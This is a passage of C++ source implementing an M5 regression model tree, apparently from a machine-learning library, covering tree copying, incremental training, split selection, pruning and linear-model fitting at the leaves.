\" << freq << endl;\n }\n cout << \" MIN_SDR: \" << MIN_SDR << endl;\n\n initNodes();\n initTree();\n\n\n}\n\nM5Tree::M5Tree(const M5Tree& m5):\n id(m5.id), mode(m5.mode), freq(m5.freq), M(m5.M),\n featPct(m5.featPct), SIMPLE(m5.SIMPLE), ALLOW_ALL_FEATS(m5.ALLOW_ALL_FEATS),\n MIN_SDR(m5.MIN_SDR), rng(m5.rng)\n{\n COPYDEBUG = m5.COPYDEBUG;\n if (COPYDEBUG) cout << \"m5 copy \" << id << endl;\n nnodes = 0;\n nOutput = m5.nOutput;\n nExperiences = m5.nExperiences;\n hadError = m5.hadError;\n totalnodes = 0;\n maxnodes = m5.maxnodes;\n SPLIT_MARGIN = m5.SPLIT_MARGIN; \n LMDEBUG = m5.LMDEBUG;\n DTDEBUG = m5.DTDEBUG;\n SPLITDEBUG = m5.SPLITDEBUG;\n STOCH_DEBUG = m5.STOCH_DEBUG; \n INCDEBUG = m5.INCDEBUG; \n NODEDEBUG = m5.NODEDEBUG;\n nfeat = m5.nfeat;\n\n if (COPYDEBUG) cout << \" M5 copy nodes, experiences, root, etc\" << endl;\n // copy all experiences\n for (int i = 0; i < N_M5_EXP; i++){\n allExp[i] = m5.allExp[i];\n }\n if (COPYDEBUG) cout << \" M5 copied exp array\" << endl;\n\n // set experience pointers\n experiences.resize(m5.experiences.size());\n for (unsigned i = 0; i < m5.experiences.size(); i++){\n experiences[i] = &(allExp[i]);\n }\n if (COPYDEBUG) cout << \" M5 set experience pointers\" << endl;\n\n // now the tricky part, set the pointers inside the tree nodes correctly\n initNodes();\n\n if (COPYDEBUG) cout << \" M5 copy tree \" << endl;\n root = allocateNode();\n lastNode = root;\n copyTree(root, m5.root);\n if (COPYDEBUG) cout << \" M5 tree copy done\" << endl;\n \n if (COPYDEBUG) {\n cout << endl << \"New tree: \" << endl;\n printTree(root, 0);\n cout << endl;\n cout << \" m5 copy done\" << endl;\n }\n\n}\n\nvoid M5Tree::copyTree(tree_node* newNode, tree_node* origNode){\n\n int nodeId = newNode->id;\n\n if (COPYDEBUG) {\n cout << \" Copy node \" << newNode->id << \" from node \" << origNode->id << endl;\n cout << \" NewAddy \" << newNode << \", old: \" << origNode << endl;\n }\n\n // copy node from t\n *newNode = *origNode;\n newNode->id = nodeId;\n\n // if it has children, allocate and copy them too\n if (origNode->l != NULL && !newNode->leaf){\n newNode->l = allocateNode();\n if (COPYDEBUG) cout << \" Copy left node \" << newNode->l->id << \" from \" << origNode->l->id << endl;\n copyTree(newNode->l, origNode->l);\n } else {\n newNode->l = NULL;\n }\n\n if (origNode->r != NULL && !newNode->leaf){\n newNode->r = allocateNode();\n if (COPYDEBUG) cout << \" Copy right node \" << newNode->r->id << \" from \" << origNode->r->id << endl;\n copyTree(newNode->r, origNode->r);\n } else {\n newNode->r = NULL;\n }\n}\n\nM5Tree* M5Tree::getCopy(){\n M5Tree* copy = new M5Tree(*this);\n return copy;\n}\n\nM5Tree::~M5Tree() {\n deleteTree(root);\n for (unsigned i = N_M5_EXP; i < experiences.size(); i++){\n delete experiences[i];\n }\n experiences.clear();\n}\n\n// here the target output will be a single value\nbool M5Tree::trainInstance(classPair &instance){\n\n if (DTDEBUG) cout << id << \" trainInstance\" << endl;\n\n // featPct *= 0.99;\n\n nfeat = instance.in.size();\n\n bool modelChanged = false;\n\n // simply add this instance to the set of experiences\n\n // take from static array until we run out\n tree_experience *e;\n if (nExperiences < N_M5_EXP){\n // from statically created set of experiences\n e = &(allExp[nExperiences]);\n\n } else {\n // dynamically create experience\n e = new tree_experience;\n }\n\n\n e->input = instance.in;\n e->output = instance.out;\n experiences.push_back(e);\n nExperiences++;\n\n if (nExperiences == 1000000){\n cout << \"Reached limit of # experiences allowed.\" << endl;\n return false;\n }\n\n if (nExperiences != (int)experiences.size())\n cout << \"ERROR: experience size mismatch: \" << nExperiences << \", \" << experiences.size() << endl;\n\n //cout << nExperiences << endl << flush;\n //if (nExperiences == 503 && id == 10){\n // DTDEBUG = true;\n // SPLITDEBUG = true;\n // INCDEBUG = true;\n //}\n\n if ( DTDEBUG) {\n cout << \"Original input: \";\n for (unsigned i = 0; i < instance.in.size(); i++){\n cout << instance.in[i] << \", \";\n }\n cout << endl << \" Original output: \" << instance.out << endl;\n cout << \"Added exp id: \" << nExperiences << \" output: \" << e->output << endl;\n cout << \"Address: \" << e << \" Input : \";\n for (unsigned i = 0; i < e->input.size(); i++){\n cout << e->input[i] << \", \";\n }\n cout << endl << \" Now have \" << nExperiences << \" experiences.\" << endl;\n }\n\n // depending on mode/etc, maybe re-build tree\n\n // mode 0: re-build every step\n if (mode == BUILD_EVERY || nExperiences <= 1){\n rebuildTree();\n modelChanged = true;\n }\n\n // mode 1: re-build on error only\n else if (mode == BUILD_ON_ERROR){\n\n // build on misclassification\n // check for misclassify\n std::map<float, float> answer;\n testInstance(e->input, &answer);\n float val = answer.begin()->first;\n float error = fabs(val - e->output);\n\n if (error > 0.0){\n rebuildTree();\n modelChanged = true;\n }\n }\n\n // mode 2: re-build every FREQ steps\n else if (mode == BUILD_EVERY_N){\n // build every freq steps\n if (!modelChanged && (nExperiences % freq) == 0){\n rebuildTree();\n modelChanged = true;\n }\n }\n\n if (modelChanged){\n if (DTDEBUG) cout << \"DT \" << id << \" tree re-built.\" << endl;\n\n if (DTDEBUG){\n cout << endl << \"DT: \" << id << endl;\n printTree(root, 0);\n cout << \"Done printing tree\" << endl;\n }\n }\n\n return modelChanged;\n\n}\n\n\n// here the target output will be a single value\nbool M5Tree::trainInstances(std::vector<classPair> &instances){\n if (DTDEBUG) cout << id << \" DT trainInstances: \" \n << instances.size() \n << \" nExp: \" << nExperiences << endl;\n nfeat = instances[0].in.size();\n \n // featPct *= 0.99;\n \n bool modelChanged = false;\n\n bool doBuild = false;\n\n // loop through instances, possibly checking for errors\n for (unsigned a = 0; a < instances.size(); a++){\n classPair instance = instances[a];\n\n // simply add this instance to the set of experiences\n\n // take from static array until we run out\n tree_experience *e;\n if (nExperiences < N_M5_EXP){\n // from statically created set of experiences\n e = &(allExp[nExperiences]);\n\n } else {\n // dynamically create experience\n e = new tree_experience;\n }\n\n\n e->input = instance.in;\n e->output = instance.out;\n experiences.push_back(e);\n nExperiences++;\n\n if (nExperiences == 1000000){\n cout << \"Reached limit of # experiences allowed.\" << endl;\n return false;\n }\n\n if (nExperiences != (int)experiences.size())\n cout << \"ERROR: experience size mismatch: \" << nExperiences << \", \" << experiences.size() << endl;\n\n if (DTDEBUG) {\n cout << \"Original input: \";\n for (unsigned i = 0; i < instance.in.size(); i++){\n cout << instance.in[i] << \", \";\n }\n cout << endl << \" Original output: \" << instance.out << endl;\n cout << \"Added exp id: \" << nExperiences << \" output: \" << e->output << endl;\n cout << \"Address: \" << e << \" Input : \";\n for (unsigned i = 0; i < e->input.size(); i++){\n cout << e->input[i] << \", \";\n }\n cout << endl << \" Now have \" << nExperiences << \" experiences.\" << endl;\n }\n\n // depending on mode/etc, maybe re-build tree\n\n // don't need to check if we've already decided\n if (doBuild) continue;\n\n // mode 0: re-build every step\n if (mode == BUILD_EVERY || nExperiences <= 1){\n doBuild = true;\n }\n\n // mode 1: re-build on error only\n else if (mode == BUILD_ON_ERROR){\n\n // build on misclassification\n // check for misclassify\n std::map<float, float> answer;\n testInstance(e->input, &answer);\n float val = answer.begin()->first;\n float error = fabs(val - e->output);\n\n if (error > 0.0){\n doBuild = true;\n }\n\n }\n\n // mode 2: re-build every FREQ steps\n else if (mode == BUILD_EVERY_N){\n // build every freq steps\n if (!modelChanged && (nExperiences % freq) == 0){\n doBuild = true;\n }\n }\n\n } // loop of new instances\n\n if (DTDEBUG) cout << \"Added \" << instances.size() << \" new instances. doBuild = \" << doBuild << endl;\n\n if (doBuild){\n rebuildTree();\n modelChanged = true;\n }\n\n if (modelChanged){\n if (DTDEBUG) cout << \"DT \" << id << \" tree re-built.\" << endl;\n\n if (DTDEBUG){\n cout << endl << \"DT: \" << id << endl;\n printTree(root, 0);\n cout << \"Done printing tree\" << endl;\n }\n }\n\n return modelChanged;\n\n}\n\n\nvoid M5Tree::rebuildTree(){\n //cout << \"rebuild tree \" << id << \" on exp: \" << nExperiences << endl;\n // deleteTree(root);\n buildTree(root, experiences, false);\n //cout << \"tree \" << id << \" rebuilt. \" << endl;\n}\n\n\n// TODO: here we want to return the probability of the output value being each of the possible values, in the stochastic case\nvoid M5Tree::testInstance(const std::vector<float> &input, std::map<float, float>* retval){\n if (DTDEBUG) cout << \"testInstance\" << endl;\n\n retval->clear();\n\n // in case the tree is empty\n if (experiences.size() == 0){\n (*retval)[0.0] = 1.0;\n return;\n }\n\n // follow through tree to leaf\n tree_node* leaf = traverseTree(root, input);\n lastNode = leaf;\n\n // and return mapping of outputs and their probabilities\n leafPrediction(leaf, input, retval);\n\n}\n\nfloat M5Tree::getConf(const std::vector<float> &input){\n if (DTDEBUG) cout << \"numVisits\" << endl;\n\n // in case the tree is empty\n if (experiences.size() == 0){\n return 0;\n }\n\n if (lastNode == NULL){\n return 0;\n }\n\n // follow through tree to leaf\n //tree_node* leaf = traverseTree(root, input);\n\n // and return # in this leaf\n float conf = (float)lastNode->nInstances / (float)(2.0*M);\n if (conf > 1.0)\n return 1.0;\n else\n return conf;\n\n}\n\n// check to see if this state is one we should explore\n// to get more info on potential splits\n\n\n// init the tree\nvoid M5Tree::initTree(){\n if (DTDEBUG) cout << \"initTree()\" << endl;\n root = allocateNode();\n\n if (DTDEBUG) cout << \" root id = \" << root->id << endl;\n\n // just to ensure the diff models are on different random values\n for (int i = 0; i < id; i++){\n rng.uniform(0, 1);\n }\n\n}\n\n\n\n// init a tree node\nvoid M5Tree::initTreeNode(tree_node* node){\n if (DTDEBUG) cout << \"initTreeNode()\";\n\n node->id = nnodes++;\n if (DTDEBUG) cout << \" id = \" << node->id << endl;\n\n totalnodes++;\n if (totalnodes > maxnodes){\n maxnodes = totalnodes;\n if (DTDEBUG) cout << id << \" M5 MAX nodes: \" << maxnodes << endl;\n }\n\n // split criterion\n node->dim = -1;\n node->val = -1;\n\n // current data\n node->nInstances = 0;\n node->constant = 0;\n\n // coefficients will get resized later\n // node->coefficients.resize(2,0);\n\n // next nodes in tree\n node->l = NULL;\n node->r = NULL;\n\n node->leaf = true;\n\n}\n\nvoid M5Tree::deleteTree(tree_node* node){\n if (DTDEBUG) cout << \"deleteTree, node=\" << node->id << endl;\n\n if (node==NULL)\n return;\n\n totalnodes--;\n\n node->nInstances = 0;\n node->coefficients.clear();\n\n //recursively call deleteTree on children\n // then delete them\n if (!node->leaf){\n // left child\n if (node->l != NULL){\n deleteTree(node->l);\n deallocateNode(node->l);\n node->l = NULL;\n }\n\n // right child\n if (node->r != NULL){\n deleteTree(node->r);\n deallocateNode(node->r);\n node->r = NULL;\n }\n }\n\n node->leaf = true;\n node->dim = -1;\n node->val = -1;\n node->constant = 0;\n}\n\n\nM5Tree::tree_node* M5Tree::getCorrectChild(tree_node* node,\n const std::vector<float> &input){\n\n if (DTDEBUG) cout << \"getCorrectChild, node=\" << node->id << endl;\n\n if (passTest(node->dim, node->val, input))\n return node->l;\n else\n return node->r;\n\n}\n\nM5Tree::tree_node* M5Tree::traverseTree(tree_node* node,\n const std::vector<float> &input){\n\n if (DTDEBUG) cout << \"traverseTree, node=\" << node->id << endl;\n\n while (!node->leaf){\n node = getCorrectChild(node, input);\n }\n\n return node;\n}\n\n\nbool M5Tree::passTest(int dim, float val, const std::vector<float> &input){\n if (DTDEBUG) cout << \"passTest, dim=\" << dim << \",val=\" << val \n << \",input[\"<<dim<<\"]=\" << input[dim] <<endl;\n\n if (input[dim] > val)\n return false;\n else\n return true;\n\n}\n\n\nvoid M5Tree::buildTree(tree_node *node,\n const std::vector<tree_experience*> &instances,\n bool changed){\n if(DTDEBUG) cout << \"buildTree, node=\" << node->id\n << \",nInstances:\" << instances.size()\n << \",chg:\" << changed << endl;\n\n if (instances.size() == 0){\n cout << \"Error: buildTree called on tree \" << id << \" node \" << node->id << \" with no instances.\" << endl;\n exit(-1);\n }\n\n\n // TODO: what about stochastic data?\n //std::vector<float> chiSquare = calcChiSquare(instances);\n\n // first, add instances to tree\n node->nInstances = instances.size();\n\n bool allSame = true;\n float val0 = instances[0]->output;\n for (unsigned i = 1; i < instances.size(); i++){\n if (instances[i]->output != val0){\n allSame = false;\n break;\n }\n }\n\n // see if they're all the same\n if (allSame){\n makeLeaf(node);\n node->constant = instances[0]->output;\n if (DTDEBUG){\n cout << \"Tree \" << id << \" node \" << node->id \n << \" All \" << node->nInstances\n << \" classified with output \"\n << instances[0]->output << endl;\n }\n return;\n }\n\n // check if this is a leaf and linear model has no error\n if (node->leaf && node->coefficients.size() > 0) {\n //cout << \"Node \" << node->id << \" is leaf, checking lm\" << endl;\n float errorSum = 0;\n for (unsigned i = 0; i < instances.size(); i++){\n // get prediction for instance and compare with actual output\n tree_node* leaf = traverseTree(node, instances[i]->input);\n std::map<float, float> retval;\n leafPrediction(leaf, instances[i]->input, &retval);\n float prediction = retval.begin()->first;\n float absError = fabs(prediction - instances[i]->output);\n errorSum += absError;\n //cout << \"instance \" << i << \" leaf predicted: \" << prediction\n // << \" actual: \" << instances[i]->output\n // << \" error: \" << absError << endl;\n }\n float avgError = errorSum / (float)instances.size();\n if (avgError < 0.001){\n // cout << \"stick with linear model\" << endl;\n return;\n }\n }\n\n // if not, calculate SDR to determine best split\n if (SPLITDEBUG) cout << endl << \"Creating new decision node\" << endl;\n\n node->leaf = false;\n //node->nInstances++;\n\n float bestSDR = -1.0;\n int bestDim = -1;\n float bestVal = -1;\n std::vector<tree_experience*> bestLeft;\n std::vector<tree_experience*> bestRight;\n\n testPossibleSplits(instances, &bestSDR, &bestDim, &bestVal, &bestLeft, &bestRight);\n\n implementSplit(node, instances, bestSDR, bestDim, bestVal, bestLeft, bestRight, changed);\n\n // possibly replace split node with linear regression model\n pruneTree(node, instances);\n\n}\n\n\nvoid M5Tree::makeLeaf(tree_node* node){\n\n removeChildren(node);\n\n // make sure there are enough coefficients for all the features\n // and that they are 0\n if (node->coefficients.size() != (unsigned)nfeat){\n node->coefficients.resize(nfeat, 0);\n }\n for (unsigned i = 0; i < node->coefficients.size(); i++){\n node->coefficients[i] = 0;\n }\n\n}\n\n\nvoid M5Tree::removeChildren(tree_node* node){\n // check on children\n if (node->l != NULL){\n deleteTree(node->l);\n deallocateNode(node->l);\n node->l = NULL;\n }\n\n if (node->r != NULL){\n deleteTree(node->r);\n deallocateNode(node->r);\n node->r = NULL;\n }\n\n node->leaf = true;\n}\n\n\nvoid M5Tree::pruneTree(tree_node *node,\n const std::vector<tree_experience*> &instances){\n if (LMDEBUG || DTDEBUG){\n printTree(root, 0);\n cout << \"pruneTree, node=\" << node->id\n << \",nInstances:\" << instances.size() << endl;\n }\n\n // TODO: no pruning right now\n // return;\n\n // calculate error of current subtree\n float subtreeErrorSum = 0;\n for (unsigned i = 0; i < instances.size(); i++){\n \n // get prediction for instance and compare with actual output\n tree_node* leaf = traverseTree(node, instances[i]->input);\n std::map<float, float> retval;\n leafPrediction(leaf, instances[i]->input, &retval);\n float prediction = retval.begin()->first;\n float absError = fabs(prediction - instances[i]->output);\n subtreeErrorSum += absError;\n if (LMDEBUG || DTDEBUG){\n cout << \"instance \" << i << \" subtree predicted: \" << prediction\n << \" actual: \" << instances[i]->output\n << \" error: \" << absError << endl;\n }\n }\n if (instances.size() < 3){\n if (LMDEBUG || DTDEBUG) cout << \"instances size <= 2!!!\" << endl;\n return;\n }\n\n float avgTreeError = subtreeErrorSum / (float)instances.size();\n\n // if this is zero error, we're not going to replace it\n if (false && avgTreeError <= 0.0001){\n if (LMDEBUG || DTDEBUG) \n cout << \"Sub-tree is perfect (\" << avgTreeError\n << \"), do not attempt LM\" << endl;\n return;\n }\n \n // figure out tree feats used\n std::vector<bool> treeFeatsUsed(instances[0]->input.size(), false);\n getFeatsUsed(node, &treeFeatsUsed);\n int nTreeFeatsUsed = 0;\n for (unsigned i = 0; i < treeFeatsUsed.size(); i++){\n if (treeFeatsUsed[i])\n nTreeFeatsUsed++;\n }\n\n // Just use them all... otherwise we ignore some that weren't good enough\n // for splitting, but are good here\n std::vector<bool> featsUsed(instances[0]->input.size(), true);\n int nFeatsUsed = featsUsed.size();\n\n // or just use ones allowed by subtree\n if (!ALLOW_ALL_FEATS){\n featsUsed = treeFeatsUsed;\n nFeatsUsed = nTreeFeatsUsed;\n }\n\n // no features to build linear model on\n if (nFeatsUsed == 0){\n if (LMDEBUG || DTDEBUG) cout << \"No features for LM\" << endl;\n return;\n }\n\n // add on error bonus based on nInstances and nParams\n float treeErrorEst = avgTreeError;\n float denom = (instances.size() - nTreeFeatsUsed);\n if (denom < 1){\n denom = 0.5;\n if (LMDEBUG) {\n cout << \"denom of tree error factor is \" << denom \n << \" with nInst \" << instances.size() \n << \" nfeats: \" << nTreeFeatsUsed << endl;\n }\n }\n treeErrorEst *= (instances.size() + nTreeFeatsUsed) / denom;\n\n // fit linear model to this set of instances\n float lmErrorSum = 0;\n int nlmFeats = 0;\n if (SIMPLE)\n nlmFeats = fitSimpleLinearModel(node, instances, featsUsed, nFeatsUsed, &lmErrorSum);\n else \n nlmFeats = fitLinearModel(node, instances, featsUsed, nFeatsUsed, &lmErrorSum);\n\n float avgLMError = lmErrorSum / (float)instances.size();\n\n float lmErrorEst = avgLMError;\n float denom2 = (instances.size() - nlmFeats);\n if (denom2 < 1){\n denom2 = 0.5;\n if (LMDEBUG) {\n cout << \"denom2 of lm error factor is \" << denom2\n << \" with nInst \" << instances.size() \n << \" nfeats: \" << nlmFeats << endl;\n }\n }\n lmErrorEst *= (instances.size() + nlmFeats) / denom2; \n\n // replace subtree with linear model?\n if (LMDEBUG || DTDEBUG) {\n cout << \"Sub-Tree Error: \" << treeErrorEst << \", lm Error: \"\n << lmErrorEst << endl;\n }\n // if (lmErrorEst < (treeErrorEst + 0.0001)){\n if (lmErrorEst < (treeErrorEst + 0.1*MIN_SDR)){\n //if (lmErrorEst < treeErrorEst){\n if (LMDEBUG || DTDEBUG)\n cout << node->id << \" replace tree with linear model\" << endl;\n removeChildren(node);\n } else {\n // remove coefficients again, for memory\n // node->coefficients.clear();\n }\n\n}\n\n\nint M5Tree::fitLinearModel(tree_node *node,\n const std::vector<tree_experience*> &instances,\n std::vector<bool> featureMask,\n int nFeats, float* resSum){\n \n if(DTDEBUG || LMDEBUG) cout << \"fitLinearModel, node=\" << node->id\n << \",nInstances:\" << instances.size() << endl;\n\n // make sure there are enough coefficients for all the features\n if (node->coefficients.size() != instances[0]->input.size()){\n node->coefficients.resize(instances[0]->input.size(), 0);\n }\n\n node->constant = 0.0;\n bool doRegression = true;\n int ntimes = 0;\n int nlmFeats = 10;\n (*resSum) = 1000000;\n\n while (doRegression){\n //cout << id << \" Attempt linear model \" << ntimes << endl;\n ntimes++;\n\n int nObs = (int)instances.size();\n\n //cout << \"with nObs: \" << nObs << \" and nFeats: \" << nFeats << endl;\n\n // no feats or obs, no model to build\n if (nObs == 0 || nFeats == 0)\n break;\n\n Matrix X(nObs, nFeats);\n ColumnVector Y(nObs);\n\n std::vector<int> featIndices(nFeats);\n\n std::vector<bool> constants(nFeats,true);\n bool foundProblem = false;\n \n // load up matrices\n for (int i = 0; i < nObs; i++){\n tree_experience *e = instances[i];\n if (LMDEBUG) cout << \"Obs: \" << i;\n\n // go through all features\n int featIndex = 1;\n for (unsigned j = 0; j < featureMask.size(); j++){\n node->coefficients[j] = 0;\n if (!featureMask[j])\n continue;\n \n if (constants[j] && e->input[j] != instances[0]->input[j]){\n constants[j] = false;\n }\n\n\t/*\n if (rng.uniform() < featPct){\n featureMask[j] = false;\n nFeats--;\n if (nFeats > 0)\n continue;\n else\n break;\n }\n\t*/\n\n if (i == nObs-1 && constants[j]){\n //cout << \"PROBLEM: feat \" << j << \" is constant!\" << endl;\n foundProblem = true;\n featureMask[j] = false;\n nFeats--;\n if (nFeats > 0)\n continue;\n else\n break;\n }\n\n featIndices[featIndex-1] = j;\n // HACK: I'm adding random noise here to prevent colinear features\n X(i+1,featIndex) = e->input[j]; // + rng.uniform(-0.00001, 0.00001);\n if (LMDEBUG){\n cout << \" Feat \" << featIndex << \" index \" << j\n << \" val \" << X(i+1,featIndex) << \",\";\n }\n featIndex++;\n }\n\n Y(i+1) = e->output;\n if (LMDEBUG) cout << \" out: \" << e->output << endl;\n }\n\n if (foundProblem || nFeats == 0)\n continue;\n\n // make vector of 1s\n ColumnVector Ones(nObs); Ones = 1.0;\n\n // calculate means (averages) of x1 and x2 [ .t() takes transpose]\n RowVector Mrow = Ones.t() * X / nObs;\n\n // and subtract means from x1 and x1\n Matrix XC(nObs,nFeats);\n XC = X - Ones * Mrow;\n\n // do the same to Y [use Sum to get sum of elements]\n ColumnVector YC(nObs);\n Real mval = Sum(Y) / nObs;\n YC = Y - Ones * mval;\n\n Try {\n\n // form sum of squares and product matrix\n // [use << rather than = for copying Matrix into SymmetricMatrix]\n SymmetricMatrix SSQ;\n SSQ << XC.t() * XC;\n \n ///////////////////////////\n // Cholesky Method\n LowerTriangularMatrix L = Cholesky(SSQ);\n\n // calculate estimate\n ColumnVector A = L.t().i() * (L.i() * (XC.t() * YC));\n ///////////////////////////\n \n //////////////////////////\n // Least Squares Method\n // calculate estimate\n // [bracket last two terms to force this multiplication first]\n // [ .i() means inverse, but inverse is not explicity calculated]\n //ColumnVector A = SSQ.i() * (XC.t() * YC);\n //////////////////////////\n \n \n // calculate estimate of constant term\n // [AsScalar converts 1x1 matrix to Real]\n Real a = mval - (Mrow * A).AsScalar();\n\n // Calculate fitted values and residuals\n //int npred1 = nFeats+1;\n ColumnVector Fitted = X * A + a;\n ColumnVector Residual = Y - Fitted;\n //Real ResVar = Residual.SumSquare() / (nObs-npred1);\n\n // print out answers\n // for each instance\n (*resSum) = 0;\n for (int i = 0; i < nObs; i++){\n if (DTDEBUG || LMDEBUG){\n cout << \"instance \" << i << \" linear model predicted: \" << Fitted(i+1)\n << \" actual: \" << instances[i]->output\n << \" error: \" << Residual(i+1) << endl;\n }\n (*resSum) += fabs(Residual(i+1));\n }\n\n\n // coeff\n nlmFeats = 0;\n for (int i = 0; i < nFeats; i++){\n if (DTDEBUG || LMDEBUG) cout << \"Coeff \" << i << \" on feat: \" << featIndices[i] << \" is \" << A(i+1) << endl;\n node->coefficients[featIndices[i]] = A(i+1);\n if (A(i+1) != 0)\n nlmFeats++;\n }\n if (DTDEBUG || LMDEBUG) cout << \"constant is \" << a << endl;\n node->constant = a;\n\n\n }\n\n CatchAll {\n // had an error trying the linear regression.\n // HACK TODO: for now, turn off one variable\n //cout << ntimes << \" linear regression had exception\" << endl;\n //<< BaseException::what() <<endl;\n\n // tried this already, stop now\n if (ntimes > 1 || nFeats < 2){\n //cout << \"max regression\" << endl;\n doRegression = false;\n break;\n }\n for (unsigned j = 0; j < featureMask.size(); j++){\n if (featureMask[j]){\n //cout << \"remove feature \" << j << endl;\n featureMask[j] = false;\n nFeats--;\n break;\n }\n }\n continue;\n }\n\n // it worked, dont need to do it again\n doRegression = false;\n\n }\n\n // return # features used\n return nlmFeats;\n\n}\n\nint M5Tree::fitSimpleLinearModel(tree_node *node,\n const std::vector<tree_experience*> &instances,\n std::vector<bool> featureMask,\n int nFeats, float* resSum){\n if(DTDEBUG || LMDEBUG) cout << \"fitSimpleLinearModel, node=\" << node->id\n << \",nInstances:\" << instances.size() << endl;\n \n // make sure there are enough coefficients for all the features\n if (node->coefficients.size() != instances[0]->input.size()){\n node->coefficients.resize(instances[0]->input.size(), 0);\n }\n\n // loop through all features, try simple single variable regression\n // keep track of error/coefficient of each\n int bestFeat = -1;\n float bestCoeff = -1;\n float bestError = 1000000;\n float bestConstant = -1;\n\n std::vector<float> xsum(instances[0]->input.size(), 0);\n std::vector<float> xysum(instances[0]->input.size(), 0);\n std::vector<float> x2sum(instances[0]->input.size(), 0);\n float ysum = 0;\n\n int nObs = (int)instances.size();\n for (int i = 0; i < nObs; i++){\n tree_experience *e = instances[i];\n if (LMDEBUG) cout << \"Obs: \" << i;\n \n // go through all features\n for (unsigned j = 0; j < instances[0]->input.size(); j++){\n if (!featureMask[j]) continue;\n if (LMDEBUG) cout << \", F\" << j << \": \" << e->input[j];\n xsum[j] += e->input[j];\n xysum[j] += (e->input[j] * e->output);\n x2sum[j] += (e->input[j] * e->input[j]);\n }\n ysum += e->output;\n if (LMDEBUG) cout << \", out: \" << e->output << endl;\n }\n \n // now go through all features and calc coeff and constant\n for (unsigned j = 0; j < instances[0]->input.size(); j++){\n if (!featureMask[j]) continue;\n /*\n if (rng.uniform() < featPct){\n continue;\n }\n */\n float coeff = (xysum[j] - xsum[j]*ysum/nObs)/(x2sum[j]-(xsum[j]*xsum[j])/nObs);\n float constant = (ysum/nObs) - coeff*(xsum[j]/nObs);\n \n if (LMDEBUG) {\n cout << \"Feat \" << j << \" coeff: \" << coeff << \", constant: \" \n << constant << \" mask: \" << featureMask[j] << endl;\n }\n\n // now try to make predictions and see what error is\n float errorSum = 0;\n for (int i = 0; i < nObs; i++){\n tree_experience *e = instances[i];\n float pred = constant + coeff * e->input[j];\n float error = fabs(pred - e->output);\n if (LMDEBUG) cout << \"Instance \" << i << \" error: \" << error << endl;\n errorSum += error;\n }\n if (LMDEBUG) cout << \"eSum: \" << errorSum << endl;\n\n // check if this is the best\n if (errorSum < bestError){\n bestError = errorSum;\n bestFeat = j;\n bestConstant = constant;\n bestCoeff = coeff;\n }\n }\n \n if (LMDEBUG){\n cout << \"SLM feat: \" << bestFeat << \" coeff: \" \n << bestCoeff << \" constant: \" \n << bestConstant << \" avgE: \" << (bestError/nObs) << endl;\n }\n\n if (bestFeat < 0 || bestFeat > (int)instances[0]->input.size()){\n node->constant = 0.0;\n for (unsigned i = 0; i < node->coefficients.size(); i++){\n node->coefficients[i] = 0.0;\n }\n (*resSum) = 1000000;\n return 10;\n }\n\n // pick best feature somehow\n node->constant = bestConstant;\n for (unsigned i = 0; i < node->coefficients.size(); i++){\n if (i == (unsigned)bestFeat){\n node->coefficients[i] = bestCoeff;\n if (LMDEBUG) cout << \"Set coefficient on feat \" << i << \" to \" << bestCoeff << endl;\n }\n else {\n node->coefficients[i] = 0.0;\n }\n }\n\n (*resSum) = bestError;\n\n // only use 1 input feature this way\n return 1;\n \n}\n\n\n\n\nvoid M5Tree::implementSplit(tree_node* node, \n const std::vector<tree_experience*> &instances,\n float bestSDR, int bestDim,\n float bestVal, \n const std::vector<tree_experience*> &bestLeft,\n const std::vector<tree_experience*> &bestRight,\n bool changed){\n if (DTDEBUG) cout << \"implementSplit node=\" << node->id\n << \",sdr=\" << bestSDR\n << \",dim=\" << bestDim\n << \",val=\" << bestVal \n << \",chg=\" << changed << endl;\n\n\n // see if this should still be a leaf node\n if (bestSDR < MIN_SDR){\n makeLeaf(node);\n float valSum = 0;\n for (unsigned i = 0; i < instances.size(); i++){\n valSum += instances[i]->output;\n }\n float avg = valSum / (float)(instances.size());\n node->constant = avg;\n if (SPLITDEBUG || STOCH_DEBUG){\n cout << \"DT \" << id << \" Node \" << node->id << \" Poor sdr \"\n << node->nInstances\n << \" instances classified at leaf \" << node->id\n << \" with multiple outputs \" << endl;\n }\n return;\n }\n\n // see if this split changed or not\n // assuming no changes above\n if (!changed && node->dim == bestDim && node->val == bestVal\n && !node->leaf && node->l != NULL && node->r != NULL){\n // same split as before.\n if (DTDEBUG || SPLITDEBUG) cout << \"Same split as before\" << endl;\n\n // see which leaf changed\n if (bestLeft.size() > (unsigned)node->l->nInstances){\n // redo left side\n if (DTDEBUG) cout << \"Rebuild left side of tree\" << endl;\n buildTree(node->l, bestLeft, changed);\n }\n\n if (bestRight.size() > (unsigned)node->r->nInstances){\n // redo right side\n if (DTDEBUG) cout << \"Rebuild right side of tree\" << endl;\n buildTree(node->r, bestRight, changed);\n }\n return;\n }\n\n\n // totally new\n // set the best split here\n node->leaf = false;\n node->dim = bestDim;\n node->val = bestVal;\n\n if (SPLITDEBUG) cout << \"Best split was cut with val \" << node->val\n << \" on dim \" << node->dim\n << \" with sdr: \" << bestSDR << endl;\n\n if (DTDEBUG) cout << \"Left has \" << bestLeft.size()\n << \", right has \" << bestRight.size() << endl;\n\n // make sure both instances\n if (bestLeft.size() == 0 || bestRight.size() == 0){\n cout << \"ERROR: DT \" << id << \" node \" << node->id << \" has 0 instances: left: \" << bestLeft.size()\n << \" right: \" << bestRight.size() << endl;\n cout << \"Split was cut with val \" << node->val\n << \" on dim \" << node->dim\n << \" with sdr: \" << bestSDR << endl;\n exit(-1);\n }\n\n\n // check if these already exist\n if (node->l == NULL){\n if (DTDEBUG) cout << \"Init new left tree nodes \" << endl;\n node->l = allocateNode();\n }\n if (node->r == NULL){\n if (DTDEBUG) cout << \"Init new right tree nodes \" << endl;\n node->r = allocateNode();\n }\n\n // recursively build the sub-trees to this one\n if (DTDEBUG) cout << \"Building left tree for node \" << node->id << endl;\n buildTree(node->l, bestLeft, true);\n if (DTDEBUG) cout << \"Building right tree for node \" << node->id << endl;\n buildTree(node->r, bestRight, true);\n\n}\n\n\nvoid M5Tree::getFeatsUsed(tree_node* node, std::vector<bool> *featsUsed){\n\n // if leaf, ones from linear model\n if (node->leaf){\n //cout << \"coeff size: \" << node->coefficients.size() << endl;\n for (unsigned i = 0; i < node->coefficients.size(); i++){\n if (node->coefficients[i] != 0){\n if (LMDEBUG || DTDEBUG) cout << \"Leaf node, used coeff \" << i << endl;\n (*featsUsed)[i] = true;\n }\n }\n return;\n }\n\n // otherwise see what split was used\n // and call for left and right sub-trees\n (*featsUsed)[node->dim] = true;\n if (LMDEBUG || DTDEBUG) cout << 